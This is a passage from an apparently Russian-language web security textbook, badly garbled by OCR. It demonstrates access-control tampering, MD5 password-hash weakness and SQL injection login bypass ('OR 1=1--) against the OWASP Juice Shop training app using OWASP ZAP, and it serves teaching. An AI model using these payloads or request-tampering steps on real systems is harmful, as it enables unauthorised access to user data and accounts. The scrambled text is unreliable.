Id Sour.. Req. Timestamp Met.. URL Co.. Reasan R.. Size Resp. .. Highest.. M. Tags Lo
| 536 ++P... 5/10/23, B:A7... PUT  hilp:/fkaliA2000/apy/Baskelllems/13 200 OK 7... 155 byles P Medium 50N

337 ¥ P 0VES, B L. httpai7kaliiazo00/apivProducts/17d=... 200 OK D.. 237 bytes

238 ¥ P.. hittp://kali:a2000/rest/basket/t 200 OK 1. 524 bytes ¥ Medium JSON

5 (B hittp://kali:42000/re: LG 204 NotM... 1.. 0bytes ™ Medium

540 =P, ° hitpeifhali:42000/s0cketio/?FI0=48&1... 200 OK 2... 1 bytes P Medium

541 =P hittp/fkali: 42000/ rest/userfwhoami 304 Mot M... 3. 0 bytes

5

EIC-ARE 00 OK

sas s w Aneza seaze _wos: ; 2 b £ nnadi _
Alerts BD 54 55 2 Main Proxy: localhostB080 CurrentScans P0 @1 Do @o Ao Go

Puc. 7.4. CoxpaHeHHble 3anpocbl

AHanu3upys UMeolyiocs NHPOPMaIINIo, Mbl HAIJIU OJJHY NHTEPECHYIO CTPOKY,
a UMEHHO!

GET http://kali:42000/rest/basket/6 HTTP/1.1

OcMemMest TPEATTONIOKUTD, UTO Tirdpa 6 MOKeT ObITh YHUKATbHBIM HIEHTH(DIKA-
TOPOM KOP3WHBI. [[Jist IPOBEPKH HAIllei Teopuu MoipodyeM chopMUPOBATH HOBBIIL
3a1poc, B KOTOPOM MBI TOMEHSIEM OJIIH JINTITh HAeHTHuKatop. /1711 atoro otkpoem
KOHTEKCTHOE MEHIO, KJTMKHEM TI0 UHTEPeCYIoIeMy Hac 3aIIpocy PaBoil KHOTTKOM
MBI U BbiOepeM myHKT Open/Resend with Request Editor.

B nosBuBIIEMcs peflakTope 3aMeHUM UIeHTH(hUKATOP U HaskKMeM KHOTIKY Send 11t
MTOBTOPHOI OTIPaBKH 3ampoca (puc. 7.6).

YTo sxe Mbl BUIUM, MOMEHTAJIBHO [TOJIYYUB OTBET (puc. 7.7)? Y HAC MOSBUIICS JTOCTYII
K WHhOPMaIUK 0 KOP3UHE JAPYTOTO Mosb3oBaTesd. Ha camom jiesie BMecTo KOp3u-
HBI MOTYT OBITh Kakue yrogHo ganubie. Cam GakT mosydeHnst JOCTYIA K JaHHbIM
TI0JTB30BATEISI IIyTEM 3aMeHBI HIeHTH(IKATOPA B 3aITpoce OCHOBAH HAa KPUTHUECKOH
omubke. [TpaBrabHO pa3paboTanHast cucTeMa HUKOT/IA He IOJIKHA BBIIABATh TAKYIO
nHpOpPMAIHIO.

OpHyM 13 CaMbIX M3BECTHBIX B3JIOMOB CUCTEMbI YepPe3 HapyIleHne KOHTPOJIS JOCTYIIA
ObiTa ataka Ha Kommanuio Equifax B8 2017 roxy. Equifax — kpyrHoe aMeprkaHCKoe Kpe-
JAUTHOE 6IOpOy Xpansdiiee YYBCTBUTEJIbHbBIE (bHHaHCOBbIe JAaHHbIE MUJIJIMOHOB JHO[[efI.
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a United Session - 20230510.080112 - OWASP ZAP 2120 - =] x

File Edit Vview Analyse Report Tools Import Export Online  Help
Mode v BHEBF@#ESJCEDE0D0EDNO0As Per ot el

@sites & Attack >
SIE -G RPN | 1t in Contast , 3_u e —
v [F Contexts Run application '
(& Default Context Include Site in Cant 3
« @ Sites 64; rv:182.8) Gecko/2@1@@121
» R http:fioscobinary openh264.0rg Flag as Context 7y
| »Or Show in Sites Tab
[ Open URL in System Browser hhficind 1Sz 1IN 18
Exclude from Context »
Exclude from E

Manage History Tags...

Naote...

Delete Delete
BHistory @ Search PAlerts (] output| ek

R s = ey e Alert...
e o e o Alerts for This Node »
d  Sour. Req. Timestamp Met... Generate Anti-CSRF Test FORM [5p- - Highest... N.. Tags [
536+ Pu.. 5/10/23, 8:47.. PUT  BUPUIKAIEA  (ooonre s pequasts les ™ Medium 150N
337 w P, 5/10/23,847... GET htl'p:!.ftali:ﬂ =3
. Cnmpare 2 RESF!DI’KPS N

538 =P 5/0/23, 847 Mtp'.ﬂl&all:ﬂ o5 # Medium JSON
539 <+ P.. 5/10/23,8:47... GET  http Open in Tab... curlw 1= Medium
540+ P, SM0/23, 847.. GET  httpe/kalisg  Include Channel URL in Context ¥ ™ Medium

541 =P, 3/10/23, 847

GET  httpu/kaliz Exclusde Channel URL from Context »
. 3 » Rkl
Scans £ 0 @0 o o o o

Irvake with Seript...

Puc. 7.5. KOHTEKCTHOE MeHIo

Q Manual Request Editor - o x
Request  Response
method || Header: Text ~ || Body: Text v/ Eoe@fivEome send

GET http://kali:4200e/rest/basket/6 HTTP/1.1

Host: kali:42e08

User-Agent: Mozilla/5.8 (X11; Linux x86_64; rv:182.8) Gecko/201@8181 Firefox/182.8

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=9.5

Authorization: Bearer eyl@eXAiOilkviQiLClhbGei0ilSU:TINGIG.
eyJzdGFedXMi0ilzdWN]ZXNZIiwiZGF@YSIGey JpZCIGMJESINVZZXJUYWIIT joi TiwiZWlhaWwi0ilpdHNLY2Jvb2tACH v
dGIUbWFpbCs jb2RiLCIwYXNZd29yZCIBLjC2Y TAXYMEMZWGAY TR2ZMT1hY TMZNZZKMZ IWNTKIM] cI1iwicm9s 2516 IMNLCIRY

bwvyIiwlZGVsdXh1VGorZw4i01TiLCIsYXNST JeCIBInvu 1ZCIsInByb2ZpbGVIbWFNZSIGI19hcIN1dHMY
cHVIbGT jL2TtYWdlcy 91 cavYWRzL2RTZmF1bHQUe3ZnT iwidGIBcFNI Y31 TdCTETi TS Tml 2 QWN@aXZ1T jpAcnvILC ] jomvh
dGVKQRQi0iTyMDIZLTAILTASIDEBO jMx0 UL j3NyATMDAGMOALLCJ1cGRADGYEQXQIOiTyMDIZLTAILTEWIDEYD 120108

Find:{ ] © 4 Ne matches Time: 0 ms Body Length: 0| Total Length: 0 byt

Puc. 7.6. PefakTop 3anpoca

B pesyJibraTe aTaku ObLIM YKPaAeHbI JaHHble Ooee 147 MIH aMepUKaHIIEB, BKIIOYAsT
VIMEHa, JIaThI POK/IEHNS], COIUAJIbHbBIE CTPAXOBbIEe HOMEPA U ajipeca. Baiiom mpousories
13-3a YSI3BUMOCTH B MOITYJITPHOM Beb-tipustozkernu Apache Struts, koTopoe ucrosb3o-
Basiochk B Equifax. ¥s13BUMOCTB 1T03BOJIHIIA ATAKYOIINM BBITIOJIHUTD TPOU3BOJIBHBIN KOJ|
Ha cepsepax Equifax. B ocHOBe aTaku jieskaio HapyieHne KOHTPOJIS JOCTYIIA, TaK uTo
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3JIOYMBIINVIEHHUKW CMOTJIN ITOJIYIUTDH JOCTYII K HYBCTBUTEJ/IbHBIM /IaHHBIM, KOTOPDbIE
JLOJIZKHBI ObLIY OBITH AOCTYITHBI TOJIBKO aBTOPHU30BaHHbIM COTPYJAHUKAM KOMIIaHWH.

0 Manial Request Editor - o *®

Request  Respornse

[Header: Text ~ || Body: Tea ~ || E O Send
HTTP/1.1 228 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nesniff

¥-Frame-Options: SAMEORTGTN

Feature-Palicy: payment 'self’

K-Recruiting: r#/jobs

Content-Type: application/json; charselsulf-8

Content-Length: 945

ETag: W/"3b2-LFW7d7cITgyyzVcAGdeDHYFvea™

Vary: Accept-Encoding

| Date: Wed, 1B May 2073 13:
{"status”:"success”, "data”
"2023-95-25T03:12:18.8792",

supon” inull, “Userld” 16, "createdAt”:
":T20923-05-05T88:19:18. 07927, "Froducls”:

"Eggfruit Julce (5@@ml)", description”:"Now with even more exotic flavour.®, pri 18.99,
“deluxePrice”:8.99, "image” :"egafruit_juice.jpg”, "createdAt”:"2023-05-29T08:10:17.8801",
Cupdatedat i T2B23-05-09TRE18:17 8BRS, “deletedat inull etitem” :{"Productid”:3, "Basketld" :5
LUidT o7, quantity TS, vcreatedat” Dt 2023-85-99T08: 10118, 1872", "up d
"2023-95-09T@8:18:18. 18727} ), {"1id" 14, "name”  "Raspberry Juice {18@@ml)", "description”:

“Made from blended Raspberry Pi, water and sugar.®, price”:4.99, deluxePrice”:4.99,"image™:
“raspberry_juice.jpg", "createdAt”:"2023-05-09T08:10:17.8802", "updatedAt":
"2023-05-09TRR: 1817 . 88077, “deletedir” :aull, "Rasket Tt {"ProductTd” :4, "BasketTd":5,"1d":8,
“quanti 2, "createdAt” T2823-05-RY9TREI18:18. 108", "undatednt " "2823-05-9TBR: 10 :18. 1087~} }] }}
Find] |+ & Momatches  Time: 65 ms Body Length: 946 Total Length: 1,332 byt

Puc. 7.7. MonyyeHHbIN OTBET

[edekTbl B KpunTorpagum

Hedekrrr B kpunrorpaduu (Cryptographic Failures) — aro Tun ygssumoctu Be6-
HNPUJIOKEHWNH, CBA3AHHBINM C HEKOPPEKTHBIM MCIIOJb30BAHNEM HJIM Peaju3alieil
Kpunrorpapuiyecknx GYHKIMH 1 MEXaHU3MOB. JTH YA3BUMOCTH MOTYT BO3HUKATD
13-3a OMNOOK B KOAUPOBAHIH, HEMTPABUILHON KOH(MDUTYPAIIUT WA UCTIOTb30BAHUS
yCTapeBIIMX 1 HeGE30MACHBIX aropuTMoB. Kpunirorpadudeckue omMOKr MOTYT
MIPUBECTU K HECAHKITMOHUPOBAHHOMY JIOCTYITY K 3aITUINEHHBIM JTAHHBIM U K IPYTUM
CEPHE3HBIM MOCJAEACTBUSAM JIJIs HE30MACHOCTH BEO-TIPIIOKEHUT.

HexoTopble pacipocTpaHeHHbIe IPUMEPBI KPUITOIPaQUIECKUX OIIUOOK BKIIOYAIOT
B cels:

® UCMOJIb30BAHUE CJAOBIX UJIN YCTAPEBITUX AJITOPUTMOB I POBAHUST, KOTOPbIE
MOTYT OBITh B3JIOMaHBI C TOMOII[BIO COBPEMEHHBIX aTak;

® HelpaBUJIbHOE XpaHeHue 1 3allUTy KJIouei IHI/I(prBaHI/IH, 4YTO MOJKET IIPpUBECTU
K X yT€4YKe 1 UCITIOJIb3OBaHUIO 3JI0OYMbIIIJICHHUKAMU;

e omubKK B peasnsaluu IpoToKoJIoB mudposanus, Takux kak SSL/TLS, uto
MPUBOIUT K yTeYKe NH(DOPMAIINY WU BO3MOKHOCTH IIPOBEIEHIST aTaK «IEJI0BEK
nocepeantes (Man-in-the-Middle);

® HejOCTATOYHAS 3allMTa apoJieil moab3oBaTesnell, HalPpUMEP MCII0JIb30BaHKe
He0e30I1aCHbIX METOL0B XPaHeHNsl WK Nepejadnl mapoeii 6e3 ToKHOM Kpuil-
Torpaduieckoii 3anTh;
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e omunoOKu B IIporecce reiepamnmnum CJIy‘{af/,IHbIX quceJ i MHUIMaJaInu3alliOHHbBIX
BEKTOPOB, YTO CHUKAET CTOMKOCTD KpI/IHTOI‘pa(bI/I‘-IeCKI/IX CHUCTEM;

® KaK TAaKOBOE OTCYTCTBUE KPUNITOTPAhUIECKON 3aITUTHI.

OHUM 13 U3BECTHBIX B3JIOMOB CUCTEM, CBSI3aHHBIX C KPUIITOTPA(hUIECKIMU OLIHO-
Kami, sBjsercs ataka Ha Adobe B 2013 roay. B pesysibrare ataku GblJIO CKOMIIPO-
METHPOBAHO OKOJIO 38 MJTH TOJIb30BATEILCKUX AKKAYHTOB, 8 TAKKE OBLIN YKPAJICHbI
MCXO/IHBIE KO/IbI PA3JIMYHbBIX TIPOLyKTOB KOMITAHUH.

OcHOBHOIT KpunITOTpahuIecKoil OMmnbKOoil B 9TOM cirydae ObLIO HEMPaBUJIbHOE Xpa-
HEHUe U 3all[iuTa mapoJieil mosbsosatesieil. Adobe ncmosbaoBaa 1ist XpaHeHUST apo-
Jieii ofHOCTOpOHHEe (G PoBaHUe ¢ TOMOIIbBIO anropurmMa MD5 6e3 «comnn» (salt —
HaGOP JOMONHUTEILHBIX CIYYAHHBIX TAHHBIX, I00ABJISIEMBIX K MAPOJIIO /IS YCUJICHUST
KpunTorpadpuyeckoii CTOUKOCTH). ITO MPUBEJIO K TOMY, YTO 3JIOYMBIIIICHHUKN
CMOTJIN JIETKO BOCCTAHOBUTH OPUTUHAJIbHBIE ITAPOJIN MTOJIH30BaTeJIel ¢ UCI0JIb30Ba-
HUEM TaK Ha3blBaeMbIX TabOJIMI[ PaLysKHbBIX 1ernouek (rainbow tables). Kpowme Toro,
13-32 HETIPABUJILHO PeaTM3aIiuy KPUTITOTPAPUIECKON 3aNTUTHI 37I0YMBIIIICHHITKN
CMOTJIH TIOJTYYUTh JOCTYI K TAKUM 3aIIN(DPOBAHHBIM JIAHHBIM TT0JIb30BaTeNEeH, KaKk
HOMepa KPeJUTHBIX KapT 1 JIMYHAs NHMDOPMAITHS.

[t neMoHCTpaImy CKa3aHHOTO BEPHEMCS K Hallleil TecToBOH cpezie. M bl mctiomb3yem
TOT 7K€ HabOP MHCTPYMEHTOB, YTO U B IIPEABIAYIIEM pas/esie, I09TOMY Cpasy Hepei-
neMm K jeay. Ha marHOM sTame Ham HeoOXOIMMO BBIHTH U3 CBOETO aKKayHTa B Juice
Shop, a 3arem 1poiiTy IpoLeAypy BOCCTaHOBAeHUsI apoJa (puc. 7.8). Bam norpe-
GyeTcs yKazaTh a/ipec SIeKTPOHHON MOUTHI, OTBET Ha CEKPETHBIN BOIPOC U JIBAYKIbI
yKa3aTh napoJb. loroBo? Tenepb mpoanasnsupyem Tpapuk.

L OWASP Juiee Shap  x (3 Setings ® | L OwWASPluiceShop x| + o
€ 3 C0 O 8 o kal42000WTorgor-passwon I 2 & @ =
"y, Kol Linee 9 Kali Toots [l Kb Docs %, Kalk Forums (3 Kall NetHunies = Exploi-D8 = Googhe Hocking D8 | OfiSec @ Greenbone Security A... L OWASP Julce Shop

m‘ OWASP Juice Shop QA O acoumt @ m_l

Forgot Password

rprotonmail.com

Pwuc. 7.8. BoccTaHoBneHve napons
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Uctnionbsyst ZAP, monpoGyem mosTopHo otipasuth POST, KoTopslii yske ObLI OTITPaB-
JIEH [IPHU TIOTIbITKe cOpoca napoJist (puc. 7.9), u npoanaausupyem orset (puc. 7.10).

Q Manual Reguest Edilor = [m] E
Request  Response
Method v|me:-:der:Te:'t'l: v||B:n.‘|y:Te'xl V|:E||:| e@ougEEme|

POST http://kali:4208@/rest/user/reset-password HTTP/1.1

Host: kali:42eee

liser-Agent: Morilla/5.@ (¥11; Linux xB6_64; rv:182.08) Gecko/20100181 Firefox/1082.08
Accepl: application/json, lexL/plain, */*

Accept-Language: en-US,en;gq=¢.5

Content-Type: application/json

content-Length: 79

Origin: http://kali:42000

Conneclion: keep-alive

{"email"”:"test@test.com", "answer":"mom", "new”:"test1234", "repeat”:"test1234"}

Finr.ﬂ; | 4+ 4 Mo matchesTime: 0 ms:Body Length: 0 Total Length: O byt

Puc. 7.9. PegaktmpoBaHue 1 OTrnpaBKa 3anpoca

a Manual Request Editor

Request  Response

| Header: Text ~ || Body: Text ~ | |[F1 71 send

HITP/1.1 288 0K
Access-Control-Alluw-Origin: *
¥X-Content-Type-Options: nosnift
X-Framo nprinns: SAMEORIGIN
Fealure-Pulicy: paymenl ‘selfl
X-Recruiting: /#/jobs
X-RateLimit-Limit: 108
X-RaleLimil-Remaining: 99

Date: Thu, 11 May 2823 B88:34:16 GMT

{"user":{"id":24,"username":"","email": "test@test.com", "password":
"1bd/sadafcasaazddaiadiicars?eh9 /4™, "role” 1 "customer™, “deluweloken™ 177, "lastloginip”:
“undefined”, "profilelmage”:"/assets/public/images/uploads/default.svg”, “totpSecret”:"",
"isActive":true,'createdAt”:"2023-05-10T12:27:32.7442", "updatedat”:
TUP3-B5-11108:34: 16,9477, "deletedar  :null}}

Find:

| 1+ ¥ No matchesTime: 52 ms Body Length: 349 Tolal Length: 817 byles

Puc. 7.10. MonyyeHHbIN oTBET

[Ipoanasmsupyem mose password. Mbl BUAUM, UTO TIAPOJIb TIEPEIAETCA B 3amindpo-
BAHHOM BHUJIE, HO KAKOW aJITOPUTM UCTIOB3YETCs IUIsT 0OecTiedeHus 6e30macHOCTH?
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[TonpobGyiiTe OTKPBITH JTE0OON aHaM3aTOp Xeueil (puc. 7.11), naxe HallgeHHBIN
yepes Google oHIAHOBBII [TOKAXkKeT, 4TO JJIsI CO3IaHI Xella ucroabayercs MDS5.

Hash Analyzer

Tool to identify hash types. Enter a hash to be identified.

76a01bafedBa9619aa367fd320595277

Hash: 76a01bafedB8ag619aag67idi2o595277
Salt: Not Found

Hash type: MDs5 or MD4

Bit length: 128

Character length: a2

Puc. 7.11. AHanus xewa napons

MD5 (Message Digest Algorithm 5) — mupoko usBecTHbIH KputrtorpaduaecKuii
Xelll-aJIropuT™, codpanubiii Ponanbgom Pusectom B 1991 roaxy. Oun renepupyet
128-6UTHBIH Xell U3 BXOAHBIX JaHHBIX U 9aCTO MCIOJb30BAJICS /sl TPOBEPKU
1esIocTHOCTH (hailsioB 1 XpaneHus maposieil. OHaKo Ha CETOHANIHUN IeHb UCTIOb-
soBarre MD5 oracHo 13-3a psiia 0OHAPYKEHHbIX YSI3BUMOCTEH, TAKUX KaK BO3MOJK-
HOCTb KOJIJTU3UIA (pa3Hbie BXO/[HbIE JJAHHbIE, KOTOPbIE TeHEPUPYIOT OJIMHAKOBbIN XelIn )
1 OTHOCUTEIBHO HU3KAS BBIYMCAUTETHHAS CI0KHOCTD QJITOPUTMA.

NHBbEKLMK

Nubeknuu, uian saeapenus (Injections), — aTo TUIT ysI3BUMOCTH BeO-TIPUIIOKEHUTI,
TIPU KOTOPOM 3JI0YMBINIJIEHHUKN MOTYT BCTaBUTh BPEIOHOCHBIE JTAHHBIE B 3AITPOCHI
WJIA KOMaH/Ibl, OTIIPABJIsIeMble BEO-IIPUJIOKEHIEM, DT JaHHbIE MOTYT 3aTeM ObITh
BBITTOJIHEHBI MHTEPIIPeTaTOPoM (6a30i1 JaHHBIX, OTIEPAIIMOHHON CHCTEMOH, Be6-
CEPBEPOM U T. I1.), YTO NIPUBOJIUT K HECAHKIITMOHUPOBAHHOMY JIOCTYILY, U3MEHEHUIO
WJIW yIAJIEHUTO TAHHBIX, HAPYIIEeHUTO (hyHKIIMOHATBHOCTH TTPUJIOKEHUS U IPYTUM
HevKeJIaTesIbHbIM 110CAeICTBUAM.
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Camblil pacnipoctpanennblii Bug unbeknuit — SQL-unbeknusa (SQL Injection), npu
KOTOPOIT 3JTIOYMBITIIEHHUKH BCTABJISIOT BPEIOHOCHBIH SQL-K0/1 B MOJIb30BATETbCKUI
BBOJI WJIM 3aIIPOChI K OGase HaHHbIX. Ecim BeO-1ipuiokerue He oOpabaThiBaeT BBOJIL
KOPPEKTHO U TTO3BOJIIET BBITIOJIHEHNE TAKUX 3aITPOCOB, aTAKYIOMIME TI0JIyYaT JOCTYT
K 6ase JJaHHBIX, CMOTYT U3MEHSTh WJIH YAAJIATH JAHHbBIE 1 [aKe BBIIOJIHSATH KOMAH/IbI
Ha YPOBHE ONEPAITMOHHON CUCTEMBI.

[Tomumo SQL, cymecTBYIOT U APYTHE BUAB MHDBEKIINI: MHBEKIINI KOMAH]
(Command Injection), wabekiuss LDAP (LDAP Injection) u unabekius XML
(XML Injection).

SQL-nHbekumnn

[ng gemonctpanmu poctoro caydas SQL-wHbeKITNNT BO3bMeM 3a1Tpoc, KOTOPHIT
MpeHa3HAYEH JIJIs TTOJTyYeH M JaHHBIX KOHKPETHOTO MOJIb30BATE ST U3 TaOJIHUIIbI
b/l users:

SELECT * FROM users WHERE uses_id LIKE 'current_user'

[Ipenmosioskum, 4TO TPOTPAMMUCTBHI HE TOTPYAUINCH PEAN30BaTh TPOBEPKY JAAHHBIX,
BBOAMMBIX TTOJIH30BATEISIMHI, HA OJTHOW M3 cTpaHuIll caiita. [lomb3oBaresb BBOAUT
CIIELYIONIYIO CTPOKY B O0LIETOCTYIIHYIO (hOPMY:

%' —
B atom CJay4dae 3a1pocC K Oase JIaHHbBIX 6y11€T N3MEHEH:

SELECT * FROM users WHERE uses_id LIKE '%'--current_user'’

[Ipunoxenne 106aBUIO BBeAEHHbIE AaHHbIE K SQL-3a1poCy, OAMHOYHbIE KaBBIYKL
3aKPBIBAIOT 3aIPOC, a BCE, UTO CJIE/YeT 3a --, BOCHPUHUMAETCS KaK KOMMEHTAPUIA.
B pesyibraTe 3anpoc OyaeT BBITJISIETh CAEAYIONIM 006pasoM:

SELECT * FROM users WHERE uses_id LIKE '%'

% B JAHHOM CJy4ae 0003HAYaeT BCe BO3MOJKHbIE JAHHbIE. A 5TO 3HAYUT, YTO IOCJIE
BBIIIOJTHEHMS 3aIIpOCca aTAKYIOUIMIA MOJYYUT JOCTYII HE TOJABKO K JaHHBIM CBOETO
MOJb30BaTe/Is, HO U K JaHHBIM BCEX OCTAJbHBIX IT0JIb30BaTeNel, ColepKaIIXCs
B TaOJIUIIE USers.

SQL-uHBEeKIUT MOKHO KIaccuuImpoBath 1Mo hopMaM WM MeToJaM ataku. Bot
HECKOJIBKO CAMbIX PACITPOCTPAHCHHBIX (hOPM:

e In-band SQL-Injection, Takke M3BeCTHAS Kak Kiaccnueckast SQL-MHBEKIHS:
(bopma ataku, Tpu KOTOPOI 37I0YMBITIIJICHHUK BCTaBJISAET BPEIOHOCHBIN SQL-Kkoz
B IIPe/IHA3HAYCHHYIO /IS OJIb30BaTe el GopMy BBOJIA, a PE3YJIBTAThI 3aIIpoca
BO3BPAIAIOTCSI Y€Pe3 TOT JKe KaHaJ, YTO ¥ OPUTHHAJIBHBII 3a1poc. ITo HanboJee
MPOCTOI M PACTIPOCTPAHEHHBIH TH aTaKH;

e Error-based SQL Injection: 3710yMblIJIEHHUK MCIIOJAb3YET BXOIHbIE [aHHbBIE,
KOTOpbIe TPUBOJAT K omubke B SQL-3ampoce, 1751 moaydeHust HHGOpMAIUY
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O CTPYKTYypeE 6aspl JaHHBIX UJIN COACPKUMOM Ta6JII/H.I; OTBET ¢ OMMUOKOI MOKET
COEPIKATh IIEHHYIO I/IH(i)OpMaHI/IIO UL aTaKYIOIIETO;

e Union-based SQL Injection: B gauHoii (hopMe 3JI0yMBIIIJIEHHUK UCTOTb3YeT
onepatop SQL UNION st 00beiHeHIs PE3yJIbTaToOB BPEAOHOCHOIO 3aIIPOCca
C pesyJIBTaTaMi OPUTHHAJIBHOTO 3aIIPOCa, UYTO MO3BOJISIET TIOJYUUTh JaHHbIC U3
ApYyrux Tabauil B 6ase JaHHBIX;

e Blind SQL Injection: B 9TOM cjIy4ae 3J0yMbIIUIEHHIK HE BUAUT PE3YJIbTaTOB
BBITIOJTHEH WS 3aMIPOCa HATIPSAMYIO, HO MOJKET JIeJIaTh BBIBOJBI O CTPYKTYpe Oasbl
MAHHBIX T COIEPKUMOM TabJIIIL, 3a/1aBast NCKYCCTBEHHBIE YCIOBHS 1 HAOIOMAST
3a mosezienveM BeO-mpuokenusa. Cymectyer nBa moatuma SQL-uHbekiuit
<BCJICILYIO»:

¢ Boolean-based (1ra octoBe 6yIeBBIX 3HAUEHII ): 3I0YMBIITIEHHIK UCTTOTH3YET
OIePATOPBI CPABHEHHSI U JIOTHYECKHE OIIEPATOPBI, 4TOOBI T0TyYaTh HHbOpMa-
IIUI0 O IAHHBIX Ha OCHOBE HCTUHHOCTU UJIH JIOKHOCTH Y CJIOBHST;

¢ Time-based (Ha ocHOBe BpeMeHt): 3JI0YMbBIIIJIEHHUK 3a/a€T YCJI0BHA, KOTO-
pble 3aCTaBJISAIOT Ga3y TaHHBIX 3a/EPKUBATh OTBET HA OIIPEIETICHHOE BPEMSI,
1 HabJII0IaeT 3a BpeMeHeM OTBeTa BeO-TIPUJIOKEHHUsI, YTO TI03BOJISIET JeJIaTh
BBIBO/IBI O JIAHHBIX;

e Out-of-band SQL Injection: 3;10yMbIIIIEHHUK 3acTaBjisieT 0asy AaHHBIX Hepe-
JlaTh JAHHbIE YePe3 OT/AeNbHBII KaHasl, HalpUMep, OTHPaBUTh MH(MOPMAIMIO Ha
yAAJIeHHbBII CepBep WK 10 9JIEKTPOHHON 110uTe; 9T0T TUll SQL-MHBEKIMHU HC-
I0JIb3Y€ETCS, KOT/Ia IPYTHe METO/IbI aTaKK OKa3bIBAIOTCS HEd(H(HEKTUBHBIMU UITH
KOT/Ia aTaKyOI1ii He MOKET MOJTyYUTh JAHHBIE HATIPAMYIO;

e Second-order SQL Injection: 6oJiee cioskHas hopMa aTaku, IIPH KOTOPOU BPe1o-
HOCHBII KOJ| cCOXpaHsieTcsl B 6ase JaHHBIX U 3aTeM UCIIOJIb3YETCs B IOCAEAYIOIINX
3ampocax, BbI3biBast BHepeHre SQL-Ko/a; 37T0yMBITIIJIEHHIK MOKET UCTI0Jb30-
BaTh ATOT METO/I, KOT/Ia PUJIOKEHE TTPOBEPSIET TIOIH30BATENBCKUN BBO TOJIHKO
Ha MMePBOHAYAIBHOM 3TaTle.

Teneps, korga Mbl 3HaeM 06 SQL-MHBEKIIUIX HEMHOTO GOJIbIIE, ONIPEAETUM 00II1e
IIATU, KOTOPbIe HEOOXOAMMO CAEJIATh AJI IOUCKA TAKOIO TUIIA YSI3BUMOCTEI:

® VAeHTU(DUKAINS BXOJAHBIX TOYEK: CHAYAIA HEOOXOANMO OIPE/ICJIUTh BCE MECTA,
rJie PUJIOsKeHUE TIPUHUMAET TT0JIb30BaTEJIbCKUE IAHHbBIE: T10J151 BBOJIA, IIOMCKOBbIE
ctpoku, URL-nmapameTpsl # T. 11.;

® 1poGHOE TECTUPOBAHNE: UCITOJIBb3YST KaK Y0 HAICHHY0 BXOIHYO TOUKY, TIOTIPO-
OyiiTe BBOANUTH CUMBOJIbI HJIK CTPOKH, KOTOPBIE MOT'YT BBI3BATh HEIIPEABHUIEHHOE
HoBe/IeHNe IPUIOKEHMsI U oInOKy Gasbl JaHHbIX. BBoas cuMBogb ', ", 5, (, ),
-- U T. IL,, o0paraiite BHUMaHNe Ha JI00ble U3MEHEHN B IOBEICHUN IPIIOKEHMST
WJIM HA MTogBJIeHUe coo01ennii oo ommnbkax;

® (1)21331/IHI‘1 B CJjydae O6Hapy)K€HI/IE[ TMOMO3PUTEIBHOTO TMOBEACHMA NN omnboK
Honp06y171Te HCIIOJIb30BATb METO/I, TP KOTOPOM BbI T€EHEPUPYETE U OTIIPABJIACTE
60JIbIIIOE KOJIMYECTBO Pa3INMYHDBIX JaHHDBIX /1JIAA TIPOBEPKU YA3SBUMOCTU CUCTEMbI
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(MOKHO HMCITOJIb30BATH CIIEIMATM3UPOBAHHBIC MHCTPYMEHTHI /IJIsT (Da33uHra —
SQLMap nnu Burp Suite);

® HKCIUIyaTalUst: eCIU Bbl OOHAPY/KUIIN MOTEHITUATBHYIO YS3BUMOCTb, TIOTIPOOYii-
Te AKCILUIYaTUPOBATD €€ € TTOMOIIbI0 Pa3IndHbIX SQL-UHbEKITMOHHBIX TEXHUK:
UNION-unbeKkium, nHbeKIUU ¢ ncrosib3oBanueM orepatopa AND unu OR,
YCJIOBHBIE MHBEKITUN U T. 1. Ec/ii BaM yaeTcst yCIenrHo aKCIIyaTupoBaTh ysi3-
BHUMOCTb, 3TO TOATBep:KAaeT Hamnune SQL-MHbeKINN B TPUIOKEHUN;

® JIOKyMEHTHPOBAHUE U OTYETHOCTD: 3aMUIINTE BCe OOHAPY/KEHHBIE YA3BUMOCTH,
METO/bI 9KCILTYyaTallu ¥ PEKOMEHAAINY 110 UCIPABICHUIO — 3TO MOMOKET Pa3-
paboTUMKaM YCTPAHUTH YSI3BUMOCTHU M YJIYUIIUTh OE30MaCHOCTD MTPUIOKEHUSI.

[TomMuMO pyyHOTO TECTHPOBAHUS, UCIIOIB3YIOTCS AaBTOMATU3UPOBAHHbBIE MHCTPYMEH-
TBI JIJI1 CKAHMPOBAHUS YS3BUMOCTEH, KOTOPBbIE MOTYT UACHTUMUIIMPOBATD U SKCILILY-
aTupoBath SQL-UHBEKIINU U JPYTHE YA3BUMOCTH BEO-TIPUIIOKEHUIA.,

IIJIH JAEMOHCTpPAIINM CaMOTI'0 ITPOCTOI0 BapraHTa NMHBEKIIUN Honp06y171Te BBECTU Ha
CTPpaHHUYKE aBTOPpU3alln C]IeI[yIOHII/Ifl 3allpocC:

'OR 1=1--

ITpu 5TOM 1APOJIb MOKET ObITH JII0OBIM, a B pe3yJ/ibraTe Bbl YCIENIHO BONIETE B CHU-
cremy (puc. 7.12).

L OWASP Juice Shop  x (1 Setings ® | L OWASPJukeShop x4 -

o
- O 8 o kali4znoaiagin o g & @ =
" Kall Ui @ Kol Toots [ Kall Docs %, Kl Forums (38 Kall NetHurier = Explot DB = Google Hacking DB | OfSec & Greentone Securiy A.., L OWASP Juice Shop

Login

e pererm—

3] Login

O remember me

Mot yet 4 customer !

Puc. 7.12. SQL-nHbekums
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B SQL onepatop OR BepHeT UCTHHY, ecii X0Tst Obl OIHA U3 €ro yacTeil BepHa. Tak
kak 1=1 Bcerja HCTUHHO, TO BCE BBIPAKEHNE UCTUHHO. ITO COOOIIUT CEPBEPY, UTO
AJIEKTPOHHASI TI0UTA JIEHCTBUTENbHA, U Oy/IET BBIIIOJHEH BXO/I B CHCTEMY C H/IEHTH-
buxaropom mnosb3oBatesst 0, KOTOPDIH ABJIAETCS YYETHON 3aTMCHIO AIMUHUCTPATOPA.

MexxcanToBbIM CKpUNTUHT (XSS)

XSS — Tum araku Ha ITOJIb30BaTeEJIA, KOTOprfI OCYHIECTBJIACTCA 6ﬂar0z[apﬂ BKJIIO-
YCHHIO B Be6-HpI/IJIO>KeHI/Ie KO/Jla 3JIOYMbIIIJIEHHUKA. Yaie Bcero TaKOMY TUILY aTakK
TIOZABEPIKEHDI ITPUJIOKEHU A, B KOTOPBIX OTCYTCTBYET ITPOBEPKA BBE/ICHHBIX 110JIb30Ba~
